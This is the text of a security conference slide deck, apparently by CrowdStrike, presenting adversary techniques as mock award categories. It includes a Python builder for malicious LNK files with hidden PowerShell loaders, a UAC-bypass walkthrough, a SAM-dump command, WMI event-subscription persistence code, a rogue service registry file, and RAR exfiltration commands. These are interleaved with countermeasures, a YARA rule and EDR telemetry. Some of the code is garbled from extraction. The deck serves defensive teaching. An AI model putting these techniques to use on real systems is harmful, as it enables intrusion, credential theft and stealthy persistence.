Hacking Exposed: The Adversary Oscars

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POWER OF THE ACADEMY
THE NOMINEES ARE...
BEST ACTOR IN A LEADING ROLE: INITIAL INFECTION
**INITIAL INFECTION: BEAR TACTIC – MALICIOUS LNK**

- Embedded PowerShell + Payload inside Windows Shortcut file (LNK)
- Payload can be encoded PowerShell scripts, or multiple stages of obfuscated binary code
- Two handy Social Engineering features:
  - Windows hides LNK extension even when set to show extensions
  - Can set icon of shortcut file to associated productivity app (Adobe, Office, etc)
**LNK FILE COMPONENTS**

- LNK target command
  - `powershell.exe -windowstyle hidden -command
    "$b=[System.IO.File]::ReadAllBytes('\.\spear.doc.lnk');
    $l=[System.Text.Encoding]::ASCII.GetString($b,0xB30,0x414);
    powershell.exe -windowstyle hidden -enc $l"

- Reads self and extracts b64 encoded "loader" script from specific offset
  - Loader is located after body of shortcut; makes offsets easier to calculate

- 256/260 character limit depending on OS version
PowerShell Loader

- $bytes = [System.IO.File]::ReadAllBytes('spear.doc.lnk');
- $lure = [System.Text.Encoding]::ASCII.GetString($bytes, 0xF50, 0x3B8C);
- $payload = [System.Text.Encoding]::ASCII.GetString($bytes, 0x4AF0, 0x1A4);
- $Content = [System.Convert]::FromBase64String($lure);
- Set-Content -Path $env:temp\lure.docx -Value $Content -Encoding Byte;
- Invoke-Item $env:temp\lure.docx;
- powershell.exe -encodedCommand $payload

Similar to LNK target; read self and extract b64 encoded Lure/Payload
Simple PowerShell payload for demonstration

- `[System.Windows.Forms.MessageBox]::Show("This is a payload executing")`

Pop a message box

Real payload example:
- XOR encoded DLL and PNG file
- Decoded DLL is executed
- DLL decrypts IDAT section of PNG file, modified XTEA algorithm, 16byte key stored in DLL data section
LNK FILE CONSTRUCTION

- Start with normal LNK shortcut as a basis
  - Can also programmatically craft by using published binary format
- Pad LNK target command with blanks up to 256 characters to ensure fixed size, makes calculating offsets easier
- B64 encode lure document, append to end of LNK binary
- B64 encode payload, append lure
- B64 encode loader, appended after payload
# LNK FILE CONSTRUCTION

**SIMPLIFY WITH PYTHON!**

- **#5-7 input Lnk file name, lure document, and payload**
- **#12 read and encode payload**
- **#14-26 Calculate size and offset for lure and payload, construct loader, encode loader**

```python
import os, sys, base64
import binascii

def main(argv):
    lnk_name=argv[0]
lure=argv[1]
payload=argv[2]
    path = os.path.join('..\', lnk_name+'.lnk')
    f=open(lure, 'rb')
b64_lure = base64.b64encode(f.read())

    ps_loader=[]
    ps_loader.append('\$bytes = [System.IO.File]:ReadAllBytes("%s")' % lnk_name)
    lure_offset='0x%03d'
lure_len=hex(len(b64_lure))
    ps_loader.append('\$lure = [System.Text.Encoding]::ASCII.GetString($bytes, %s, %s) % (lure_offset, lure_len)
    payload_offset=hex(int(lure_offset,8)+len(b64_lure)+1)
    payload_len=hex(len(payload))
    ps_loader.append('\$payload = [System.Text.Encoding]::ASCII.GetString($bytes, %s, %s) % (payload_offset, payload_len)
    ps_loader.append('\$content = [System.Convert]::FromBase64String($lure)')
    ps_loader.append('Set-Content -Path $env:temp\%s -Value $Content -Encoding Byte' % (lure))
    ps_loader.append('Invoke-Item $env:temp\%s' % (lure))
    ps_loader.append('powershell.exe -windowstyle hidden -encodedCommand $payload')
b64_loader = base64.b64encode(‘;’.join(ps_loader).encode('UTF-16LE'))
```
#28-90 LNK file “header” as byte array

- Not really a header per se, but the portions leading up to the LNK target command

SIMPLIFY WITH PYTHON!
# LNK FILE CONSTRUCTION

**SIMP liFY wiTH pyTHON!**

- #92-103 Construct LNK target command including size & offset of loader
- #101 add padding up to 256 characters
- #105-250 LNK file “footer” as byte array
  - Not really a footer per say, but the portions following the LNK target command

```python
92 ps_initial=[] 93 ps_initial.append(u'\Windows\System32\WindowsPowerShell\v1.0\powershell.exe$ 94 \-windowstyle hidden -command "$b=[System.IO.File]:ReadAllBytes('.'\ws\')' 95 % (u'\00c9',lnk_name)) 96 ps_loader_offset=hex(int(payload_offset,0)+int(payload_len,0)+1) 97 ps_loader_len=hex(len(b64_loader)) 98 ps_initial.append('\$l=[System.Text.Encoding]::ASCII.GetString($b,%s,%s)' 99 % (ps_loader_offset, ps_loader_len)) 100 ps_initial.append('powershell.exe -windowstyle hidden -enc $l') 101 ps_initial_string = ('%'):join(ps_initial).ljust(256) + '"').encode('UTF-16LE') 102 103 binary_file = binary_file + [ 104 0x3B, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x50, 0x00, 0x72, 0x00, 105 0x6F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x20, 0x00, 106 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 107 0x40, 0x00, 0x60, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 108 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x20, 0x00, 0x4F, 0x00, 0x66, 0x00,
```
# LNK FILE CONSTRUCTION

**SIMPLIFY WITH PYTHON!**

```python
252  [binary_file.append(int(elem.encode('hex'),16)) for elem in b64_lure]
253  binary_file.append(0x00)
254  [binary_file.append(int(elem.encode('hex'),16)) for elem in payload]
255  binary_file.append(0x00)
256  [binary_file.append(int(elem.encode('hex'),16)) for elem in b64_loader]
257
258  output = open(lnk_name, 'wb')
259  output.write(''.join(chr(x) for x in binary_file))
260  output.close()
261  if __name__ == '__main__':
262    main(sys.argv[1:])
```

- #260 Append encoded Lure, Payload, Loader to end of file, write file to disk
- Have a drink!
INITIAL INFECTION: PANDA TACTIC – MACRO DOCUMENT

- PowerShell payload inside Office doc VBA macro
- Payload can be encoded PowerShell scripts, or multiple stages of obfuscated binary code
- No exploitation required, but does require macros to be enabled and/or user must allow macro to run
Countermeasures

- Force Windows to show LNK extension
  - Delete `NeverShowExt` registry value under `HKEY_CLASSES_ROOT\lnkfile`

- Block Office macros
BEST PRIVILEGE ESCALATION IN A SUPPORTING ROLE
One of the UAC defeat techniques that leverages Windows AutoElevate Backdoor

- [https://github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME)

Targets pkgmgr.exe and hijacks loading of DismCore.dll

Implemented via PowerShell as well


Works on x64 Win7 through Win 10 Creator’s Update, Build 15031.
HIGH LEVEL EXPLANATION: USMDISMMETHOD

- PowerShell impersonates explorer.exe
- After impersonation, use IFileOperation::CopyItem COM calls to drop hijack/proxy dll into system32 as DismCore.dll
  - Utilizing IFileOperation gives us a backdoor to copy into system32 without UAC
- Call PkgMgr.exe
  - Legacy Package manager, whitelisted by MS against UAC
- PkgMgr.exe executes dism.exe
  - Dism.exe not whitelisted but doesn’t matter since parent is already elevated
  - Dism.exe attempts to load DismCore.dll, which is what we hijack
DEMO
PRIVILEGE ESCALATION: PANDA TACTIC – KERNEL 0-DAY

- 0-day 64-bit Kernel exploit
  - CVE-2014-4113 – Vulnerability in Win32k.sys

- First used by Hurricane Panda, discovered by CrowdStrike

- Originally deployed as an executable, can be implemented in PowerShell as well
  - Also has a metasploit module

- I demoed this live at RSA 2015 (PowerShell version)
  - [https://www rsaconference.com/events/us15/agenda/sessions/1815/hacking-exposed-beyond-the-malware](https://www rsaconference.com/events/us15/agenda/sessions/1815/hacking-exposed-beyond-the-malware)
COUNTERMEASURES

- UACME #23
  - Configure UAC to always notify
  - Stop using admin accounts everywhere for #@$%-sake!

- CVE-2014-4113
  - Patch Windows
  - Upgrade Windows
  - Yara rule →

```plaintext
rule CrowdStrike_CVE_2014_4113 {
  meta:
  copyright = "CrowdStrike, Inc"
  description = "CVE-2014-4113 Microsoft Windows x64 Local Privilege Escalation Exploit"
  version = "1.0"
  last_modified = "2014-10-14"
  in_the_wild = true
  strings:
      $const1 = ( fb ff ff ff )
      $const2 = ( 0b 00 00 00 01 00 00 00 )
      $const3 = ( 25 00 00 00 01 00 00 00 )
      $const4 = ( 8b 00 00 00 01 00 00 00 )
  condition:
      all of them
}
```
BEST CREDENTIAL THEFT SCORE
This is one stage where we see lots of overlap between actors

- Widespread use of PowerShell (Invoke-Mimikatz, PowerSploit, Invoke-ReflectivePEInjection)

- Saving Registry hives
  - C:\Windows\System32\reg.exe save HKLM\sam C:\1.tmp
COUNTERMEASURES

- Upgrade to Windows 10
  - Credential Guard
    - Only protects Domain Credentials

- Monitor/restrict PowerShell usage
  - Win 10 /w Device Guard & Script policies can disable unsigned scripts that use reflection
    - Can be bypassed if older versions of PS are allowed to run
BEST PERSISTENCE IN A SILENT BREACH
Three Components

- Event Filter is triggered on action(s)
  - Dozens of options such as User logs in, System boots, timer, etc
- Consumer binds to Event filter and executes command when triggered
- Command is a b64 PowerShell payload stored inside a custom WMI class
  - Encoded binary payloads can be hidden inside WMI repository and avoid touching disk

- Can be implemented with various tools such as wmic.exe and third party tools, but PowerShell is the most common
- Can be done remotely as well using DCOM or WinRM
CUSTOM CLASS

- #1 Store class in root\cmiv2
- #2 Create custom class “HackingExposed_Class”
- #4 Payload written to class property called “Payload”, executes calc.exe

```csharp
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null, $null)
$StaticClass.Name = 'HackingExposed_Class'
$StaticClass.Put()
$StaticClass.Properties.Add('Payload', "calc.exe")
$StaticClass.Put()
```
EVENT FILTER

- #7 Filter named “Hacking Exposed Filter”
- #9-10 WQL query defines event to trigger on
- #12-14 Registers event

```bash
7 $filterName = 'HackingExposedFilter'
8
9 $Query = "SELECT * FROM __InstanceCreationEvent
10 WITHIN 1 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
11
12 $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription"
13 -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
14 -ErrorAction Stop
```
EVENT CONSUMER

- #16 Consumer named “HackingExposedConsumer”
- #18 Executing Powershell
- #20-22 Powershell argument reads the ‘Payload’ property from the “HackingExposed_Class”
- #24 Combine path + args
- #26-28 Register consumer
Bind the event filter to consumer

30 Set-WmiInstance -Class __FilterToConsumerBinding
31 -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
PERSISTENCE: PANDA TACTIC – SERVICEDLL

- Similar to a service EXE, except runs under svchost
- Creation of a service DLL is undocumented
  - Adversary can build from scratch, or hijack a legitimate service DLL, we will do the latter
  - Legitimate DLL is hardcoded to execute a particular binary
  - Replace target binary with payload
- Service is created via registry keys and applied on reboot
REGISTERING THE SERVICE

- Execute reg file

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\malservice]
"Type"=dword:00000110
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,\
  74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\
  00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\
  6b,00,20,00,4d,00,79,00,47,00,72,00,6f,00,75,00,70,00,00
"DisplayName"="MalService"
"ObjectName"="LocalSystem"
"Description"="A perfectly normal service"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\malservice\Parameters]
"ServiceDll"=hex(2):63,00,3a,00,5c,00,77,00,69,00,6e,00,64,00,6f,00,77,00,73,\
  00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,61,00,70,00,\
  70,00,6d,00,67,00,6d,00,74,00,2e,00,64,00,6c,00,6c,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]
"MyGroup"=hex(7):6d,00,61,00,6c,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,\
  00,00,00,00
- Innocuous Description, and Display name
- Execute as LocalSystem
- ImagePath points to svchost; can run under existing or new group
- Stealth vs Stability
- Start=2 means autostart
- ServiceDLL points to dll path
DEMO
User PowerShell to list WMI Filters/Consumers/Binders
  - Get-WmiObject -Class [__EventFilter | __EventConsumer | __FilterToConsumerBinding] –NameSpace root\subscription

Log WMI activities
  - Event logs
  - Create WMI event filter to monitor for new WMI event filters

Disable WMI
Robust EDR solutions can track WMI creation, execution, Service creation, ASEP modifications, etc.

<table>
<thead>
<tr>
<th>name</th>
<th>RegObjectName</th>
<th>RegValueName</th>
<th>RegStringValue</th>
</tr>
</thead>
<tbody>
<tr>
<td>AsepKeyUpdateV3</td>
<td>\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\malservice</td>
<td>ImagePath</td>
<td>%systemroot%\system32\svchost.exe -k MyGroup</td>
</tr>
<tr>
<td>AsepValueUpdateV4</td>
<td>\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\malservice</td>
<td>ServiceDll</td>
<td>c:\windows\system32\appmgmt.dll</td>
</tr>
<tr>
<td>AsepValueUpdateV4</td>
<td>\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\malservice\Parameters</td>
<td>MyGroup</td>
<td>malservice</td>
</tr>
<tr>
<td>AsepValueUpdateV4</td>
<td>\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\NT\CurrentVersion\Svchost</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>name</th>
<th>ServiceDescription</th>
<th>ServiceDisplayName</th>
<th>ServiceImagePath</th>
</tr>
</thead>
<tbody>
<tr>
<td>ModifyServiceBinaryV1</td>
<td>A perfectly normal service</td>
<td>MalService</td>
<td>%systemroot%\system32\svchost.exe -k MyGroup</td>
</tr>
</tbody>
</table>
Robust EDR solutions can track WMI creation, execution, Service creation, ASEP modifications, etc.
EXFILTRATION: BEAR TACTIC – MAKECAB + ONEDRIVE

- Really two different sub-techniques used in concert
- MakeCAB - for archiving and compressing target files
  - Comes built-in since WinXP! No need to schlep external tools
  - Does not encrypt data (un)fortunately
- OneDrive – Mounted as network share
  - Bonus: SSL encryption!
  - Blends with normal enterprise traffic
EXFILTRATION: PANDA TACTIC – DISGUISED RAR

- Uses RAR command line tool for packaging and encryption of exfil data
- Often renamed to another file for minor obfuscation
- Sometimes packed/hash modified
DEMO
Distinctive command line arguments used for RAR, can be hunting lead for EDR tools

```
C:\Users\demo\Desktop>ntfre.exe a -r -s -m3 -inul -ep1 -nx.doc -hpPassword c:\users\demo\desktop\exfil.tmp c:\users\demo\Desktop
```

Can also monitor for CAB/RAR file creation (particularly on Servers)

```
TargetFileName: \Device\HarddiskVolume1\Users\demo\Desktop\exfil.tmp
TreeId: 100016b15
TreeId_decimal: 4295060245
aid: 4b9d539b089e493848f72df0e7708701
aip: 108.60.106.85
cid: 985bd5e49e6946ca8222d1e0c033682d0
eid: 16777708
esize: 163
event_err: false
event_platform: Win
event_simpleName: RarFileWritten
```
BEST DRAMA
BEST FEMALE SUPPORTING ACTOR IN FOREIGN BREACH
FANCY BEAR
LIFETIME ACHIEVEMENT AWARD
I saw your credentials!

mimikatz

mimikatz
THANK YOU!

- **HOW TO REACH US:**
  - TWITTER: @GEORGE_KURTZ & @DALPEROVITCH

- **FOR MORE INFORMATION & TO DOWNLOAD SLIDES:**
  - BLOG.CROWDSTRIKE.COM
  - CrowdInspect Update – THANK YOU VirusTotal!

- **LEARN MORE ABOUT NEXT-GENERATION ENDPOINT PROTECTION**
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